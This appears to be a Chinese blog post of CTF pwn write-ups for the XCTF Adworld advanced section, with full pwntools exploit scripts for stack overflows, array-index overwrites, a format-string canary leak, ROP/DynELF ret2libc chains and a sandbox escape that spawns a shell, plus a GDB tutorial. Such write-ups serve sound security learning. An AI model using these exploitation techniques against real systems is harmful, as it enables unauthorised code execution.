狗儿

热爱的话就坚持吧~

0%

攻防世界pwn进阶区

他来了,他来了,他带着flag走来了。。。

001-dice_game

学到了python调用c的库函数的新知识。

给出了两个文件,一个是题目的文件,一个是库文件。库文件不是用来调用system的,而是用了调用随机数函数的。

这题是让你猜数,猜50次。

栈溢出可以修改随机数种子,预测接下来的50个数。

image-20200912141923839

image-20200912141941705

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from ctypes import *
context.log_level = 'debug'
p=remote('220.249.52.133',30361)
libc = cdll.LoadLibrary("libc.so.6")

p.recvuntil("Welcome, let me know your name: ")
payload1 = 'a'*0x40 + p64(0)
p.sendline(payload1)

for i in range(50):
p.recvuntil('Give me the point(1~6): ')
p.sendline(str(libc.rand() % 6 + 1))
p.recv() #recv "you win"

print p.recv() #recv flag

cdll.LoadLibrary可以调用c的库函数,需要from ctypes import *

002-stack2

数组溢出+构造system(“sh”)。可以用到ROPgadget。

有好几次数组的调用,但是大多都限制了数组的下标,但是仍然存在一处未检测(menu=3的情况),可以实现数组溢出:

image-20200912200756991

题目中存在一个hackhere,里面有system(“/bin/bash”);

可以写出如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def f(addr, data):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(addr))
p.sendlineafter('new number:', str(data))

from pwn import *
context.log_level = 'debug'

p = process('./3fb1a42837be485aae7d85d11fbc457b')
#p = remote('220.249.52.133',52711)

p.sendlineafter('How many numbers you have:','1')
p.sendlineafter('Give me your numbers','1')

hackhere = 0x804859B

f(0x70 + 0x10 + 4 + 0, 0x9B)
f(0x70 + 0x10 + 4 + 1, 0x85)
f(0x70 + 0x10 + 4 + 2, 0x04)
f(0x70 + 0x10 + 4 + 3, 0x08)

p.sendlineafter('5. exit', '5')
p.interactive()

还有一点,数组在栈中的偏移其实是0x70,但是ret之前有个lea esp, [ecx-4]

image-20200912202411894

使得esp多了10个偏移。

GDB动调下:

image-20200912212513617

image-20200912212534652

很明显看出ESP的变化。具体的原因似乎很复杂??左转在PWN题中绕过lea esp以及关于Ret2dl的一些补充

本地可以打通,但是远程会这样:

image-20200912201208657

听wp区的大佬说,出题人说本来是打docker镜像的时候,环境出了点问题,只有/bin/sh可以用。但是这样也能做题。

那我们就手动构造,调用system(“/bin/sh”);

“/bin/sh”可以用”sh”替代。/bin/bash的最后两个字符恰好是sh,并且后面是\x00。刚好满足需求。

当然也可以用ROPgadget来查找,不过需要注意\x00

1
2
3
4
ROPgadget --binary 3fb1a42837be485aae7d85d11fbc457b --string 'sh'
Strings information
0x08048987 : sh
0x08048ab3 : sh

ROPgadget在Pwn中用于搜索汇编指令和字符串,安装方法:
1.安装python-capstone:apt-get install python-capstone
2.下载安装文件:git clone https://github.com/JonathanSalwan/ROPgadget.git
3.进入目录 :cd ROPgadget
4.运行安装脚本: python setup.py develop

使用方法:
1.搜索/bin/sh:
ROPgadget –binary intoverflow “/bin/sh”

转张wp区大佬的system函数调用栈图:

image-20200912201708131

栈中高地址->低地址的数据依次是:函数地址,函数返回地址,command参数。

写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def f(addr, data):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(addr))
p.sendlineafter('new number:', str(data))

from pwn import *
context.log_level = 'debug'

p = remote('220.249.52.133',33381)
p.sendlineafter('How many numbers you have:','1')
p.sendlineafter('Give me your numbers','1')

system_addr = 8048450
f(0x70 + 0x10 + 4 + 0, 0x50)
f(0x70 + 0x10 + 4 + 1, 0x84)
f(0x70 + 0x10 + 4 + 2, 0x04)
f(0x70 + 0x10 + 4 + 3, 0x08)


sh_str_addr = 0x08048987
f(0x70 + 0x10 + 4 + 8 + 0, 0x87)
f(0x70 + 0x10 + 4 + 8 + 1, 0x89)
f(0x70 + 0x10 + 4 + 8 + 2, 0x04)
f(0x70 + 0x10 + 4 + 8 + 3, 0x08)

p.sendlineafter('5. exit', '5')
p.interactive()


'''
ROPgadget --binary 3fb1a42837be485aae7d85d11fbc457b --string 'sh'
Strings information
============================================================
0x08048987 : sh
0x08048ab3 : sh
'''

注意此时调用的函数不是hackhere,而是system。

GDB的使用

基于上道题(stack2),我总结些GDB的使用。

运行下面的脚本(不要在vscode里面运行,会调用gdb失败)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def f(addr, data):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(addr))
p.sendlineafter('new number:', str(data))

from pwn import *
context.log_level = 'debug'


p = gdb.debug('./3fb1a42837be485aae7d85d11fbc457b', 'b *0x80488F2')
#p = remote('220.249.52.133',33381)
#p = process('./3fb1a42837be485aae7d85d11fbc457b')
p.sendlineafter('How many numbers you have:','1')
p.sendlineafter('Give me your numbers','1')

system_addr = 8048450

f(0x70 + 0x10 + 4 + 0, 0x50)
f(0x70 + 0x10 + 4 + 1, 0x84)
f(0x70 + 0x10 + 4 + 2, 0x04)
f(0x70 + 0x10 + 4 + 3, 0x08)

f(0x70 + 0x10 + 4 + 8 + 0, 0x87)
f(0x70 + 0x10 + 4 + 8 + 1, 0x89)
f(0x70 + 0x10 + 4 + 8 + 2, 0x04)
f(0x70 + 0x10 + 4 + 8 + 3, 0x08)

p.sendlineafter('5. exit', '5')
p.interactive()

最关键的是p = gdb.debug('./3fb1a42837be485aae7d85d11fbc457b', 'b *0x80488F2'),在0x80488F2下断点,这是ret的地址。

一开始是这样的:

image-20200912203601987

然后输入c,“继续”的意思。界面变成这样:

image-20200912203716031

此时pwntools已经按照脚本把数据打进了程序里。同时,程序停在了ret处。可以看到划线处,表示的是下一个函数的地址。返回地址被修改成了system@plt.

此时输入n,单步运行。(如果是debug版本的,也可能会运行好几步。ni才是真正的单步运行。s是单步步入)。可以看到这样的界面:

image-20200912204248708

这是这system的plt处。可以看到栈内的第二个数据是”sh”的地址。即可调用system(“sh”);

转一些GDB命令:

进入gdb调试环境

list n | list | list 函数名
l n | l | l 函数名

在调试过程中查看源文件,n为源文件的行号,每次显示10行。
list可以简写为l,不带任何参数的l表示从当前执行行查看。

注意:在(gdb)中直接回车,表示执行上一条命令。

start | s

开始执行程序,并main函数的停在第一条语句处。

(gdb)run|r

连续执行程序,直到遇到断点

(gdb)continue|c

继续执行程序,直到下个断点

(gdb)next|n

执行下一行语句

(gdb)step|s

进入正在执行的函数内部

(gdb)finish

一直执行到当前函数返回,即跳出当前函数,执行其调用函数

变量信息管理

(gdb)info 变量名|i 变量名|i locals

i变量名查看一个变量的值,i locals查看所有局部变量的值
修改变量的值

(gdb)set var 变量名=变量值

(gdb) print 表达式

打印表达式,通过表达式可以修改变量的值,p 变量名=变量值

(gdb)display 变量名

使得程序每次停下来都会显示变量的值

x/nbx 变量名

查看从变量名开始的n个字节,例x/7bx input 表示查看从变量input开始的7个内存单元的内容

x/10xw,x/10xg应该比较常用吧。

x 按十六进制格式显示变量。

d 按十进制格式显示变量。

u 按十六进制格式显示无符号整型。

o 按八进制格式显示变量。

t 按二进制格式显示变量。

a 按十六进制格式显示变量。

c 按字符格式显示变量。

f 按浮点数格式显示变量。

b表示单字节,h表示双字节,w表示四字节,g表示八字节。

查看函数调用栈

(gdb)backtrace|bt

查看其调用函数的信息

(gdb)frame n|f n

n为栈的层次,然后可以用其他命令(info)查看此级别的变量信息

断点管理

设置断点

break n|break 函数名|b n| b 函数名|b n(函数名)if 条件

n为行号,添加if表示设置条件断点,只有条件为真时,才中断

查看断点

info breakpoints|i breakpoints

删除断点

delete breakpoints n

使断点失效

disable breakpoints n

使断点生效

enable breakpoints n
其中n为断点的序列号,可以用info breakpoints查看

观察点管理

断点是程序执行到某行代码是触发,观察点是程序访问某个内存单元时触发

(gdb)watch 变量名

当程序访问变量名指定的内存单元时,停止程序

info watchpoints|delete watchpoints
类似断点管理

退出gdb环境

(gdb)quit | q

003-forget

俩处读入,第一处限制读入32字符,无法利用,第二处是经典的栈溢出。

1579678305039

且存在cat flag的函数:

1579678407696

所以只需要找机会调用此函数即可。

v3-v12均为函数地址,v14算是下标。

1579678465855

之后会调用这些函数:

1579678505821

所以我们可以利用前面说的栈溢出,覆盖掉v3-v12中的一处,覆盖为cat flag的函数地址。

我这边选择了覆盖v3,因为v3在栈中 紧贴存在栈溢出漏洞的变量,对程序流程造成的未知影响的可能性最小。

1579679983726

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'

#io = process('./d033ab68b3e64913a1b6b1029ef3dc29')
io = remote('111.198.29.45',56968)
#gdb.attach(io)
io.recvuntil('> ')
io.sendline('iyzyi')
io.recvuntil('> ')

cat_flag_addr = 0x80486CC
payload = '/'*(0x74-0x54)+ p32(cat_flag_addr)
io.sendline(payload)

io.interactive()

为什么payload中使用字符/呢?

因为程序流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
...省略细枝末节的代码...
__isoc99_scanf("%s", v2);
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == '@' )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == '.' )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))();

我们要想让程序执行v3处的函数(其实是被我们覆盖后的函数),就必须让最后一行的v14=1(这样–v14的值就是0,所以就是运行v3处的函数),但是v14本来等于1,所以我们只需要在for循环中,不给它赋其他值的机会,所以我们要让下图这一步的if为假,如此便可break,v14还会保持为1。

1579680616319

上图中的函数如下:

1579680770154

即判断输入字符为:a-z0-9_-+.

所以我们可以输入一些不是上面的字符的字符,比如大写字母,比如特殊符号。

csdn中有人问为什么可以是A,但不可以是a,原因就在这里。

004-Mary_Morton

查看保护:

1579700703364

开了栈缓冲区保护和栈不可执行。

第一次遇到Stack:Canary found的栈缓冲区保护的题目,查了下资料,原来原理是这样的:

1579700822220

在函数的开始,将一个fs的一个值压入栈内,最后ret的时候要要验证这个值是否发生改变:

1579700906562

如果我们使用常规的栈缓冲区溢出的漏洞,必然会覆盖掉这个值,从而无法通过验证。

主函数:

1579701085339

本题两个明显的漏洞:

  • 格式化字符串

1579701118145

  • 栈溢出

1579701146978

所以思路就是通过格式化字符串拿到canary(就是我们前面提到的那个验证值),然后通过栈溢出构造payload。

轻松看出格式化字符串漏洞处的buf距离栈顶偏移6:

1579701306262

此时栈内buf为0x90,canary为0x08,二者偏移(0x90-0x08)/8=17,所以canary距离栈顶偏移17+6=23。

1579701343850

1579701338177

通过下图获取canary:

1579701517491

后半部分的栈溢出就不用讲了吧,很经典的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'

#i = process('./22e2d7579d2d4359a5a1735edddef631')
i = remote('111.198.29.45',58197)
elf = ELF('./22e2d7579d2d4359a5a1735edddef631')

i.recvuntil('Exit the battle ')
i.sendline('2')
payload = '%23$p'
i.sendline(payload)
canary = i.recvuntil('\n1. Stack Bufferoverflow Bug', drop=True).strip()
canary = int(canary, 16)
print canary

i.recvuntil('Exit the battle ')
i.sendline('1')
cat_flag_addr = 0x4008DA
payload = 'a'*(0x90-0x08) + p64(canary) + 'a'*0x08 + p64(cat_flag_addr)
i.sendline(payload)

i.interactive()

注意第一部分获取canary,用的是%23$p,而不是%23$x,我就是被坑在这里。

32 位程序,%p 等同于 %08x;64 位程序,%p 等同于 %016llx。
也就是说,指针有多少字节他就输出多少字节。

顺便说一下一个和本体无关的知识点:canary的最后一个字节一定为0,所以爆破的话,32位只需爆破3位,64位只需爆破7位。

006-welpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python
# -*- coding: UTF-8 -*-

from pwn import *
context.log_level = 'debug'

#p = process('./welpwn')
#p = gdb.debug('./welpwn', 'b *0x4007CC')
p = remote('220.249.52.133',57544)


def leak(address):
pppr = 0x40089C # pop_junk_r12_r13_r14_r15_ret
ppppppr = 0x40089A # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
mmmc = 0x400880 # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
main = 0x4007CD

rbx = 0
rbp = 1
r12 = got_write = 0x601020
rdx = r13 = 8
rsi = r14 = address
rdi = r15 = 1

payload = 'a' * 0x10 + 'b' * 8
payload += p64(pppr)
payload += p64(ppppppr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(mmmc)
payload += 'c' * 8 * (6 + 1) + p64(main)

p.recvuntil('Welcome to RCTF')
p.sendline(payload)
p.recv()
data = p.recv(8)
#p.recvall()
return data


def f(system_addr):
pppr = 0x40089C # pop_junk_r12_r13_r14_r15_ret
ppppppr = 0x40089A # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
mmmc = 0x400880 # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
main = 0x4007CD
bss_addr = 0x601070

rbx = 0
rbp = 1
r12 = got_read = 0x601038
rdx = r13 = 32
rsi = r14 = bss_addr
rdi = r15 = 0

payload = 'a' * 0x10 + 'b' * 8
payload += p64(pppr)
payload += p64(ppppppr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(mmmc)
payload += 'c' * 8 * (6 + 1)
payload += p64(0x4008a3) + p64(bss_addr+8) + p64(system_addr)

p.recvuntil('Welcome to RCTF')
p.sendline(payload)
#sleep(5)
p.sendline(p64(system_addr) + '/bin/sh\x00')
sleep(3)
p.interactive()




# 构造可以循环使用的泄露地址的leak函数,
# 借助DynELF小工具,拿到libc.system在内存中的地址。
d = DynELF(leak, elf=ELF('./welpwn'))
system_addr = d.lookup('system', 'libc')
print 'system addr : ' + hex(system_addr)

#system_addr = 0x7feda435f3a0


bss_addr = 0x601070
f(system_addr)

先贴我的脚本,题解打算详细点写,所以留到明天吧。

007-monkey

给出的附件几十M,名字是js。

评论区说是沙箱逃逸。

nc后输入os.system(“sh”)即可获得shell

image-20200913170338215

长知识了。

009-pwn-200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = 'debug'

#p = process('./pwn-200')
#p = gdb.debug('./pwn-200', 'b *0x080485cd')
p = remote('220.249.52.133',33105)
e = ELF('./pwn-200')

write_plt = e.plt['write']
read_plt = e.plt['read']
start_addr = 0x80483d0
sub_8048484 = 0x8048484
bss_addr = e.bss()
pppr_addr = 0x080485cd


def leak(address):
payload = 'a' * 0x6c + 'b' * 0x4
payload += p32(write_plt) + p32(sub_8048484) + p32(1) + p32(address) + p32(4)
p.sendline(payload)
return p.recv(4)


p.recvline('Welcome to XDCTF2015~!')

# 泄露system
d = DynELF(leak, elf=ELF('./pwn-200'))
system_addr = d.lookup('system', 'libc')
print 'system addr: ' + hex(system_addr)


# 要注意,在多次泄露完函数地址之后,要调用start函数来恢复栈。
payload2 = 'a' * 0x6c + 'b' * 0x4 + p32(start_addr)
p.sendline(payload2)
print p.recv()


payload = 'a' * 0x6c + 'b' * 0x4
payload += p32(read_plt) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(sub_8048484) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')


p.interactive()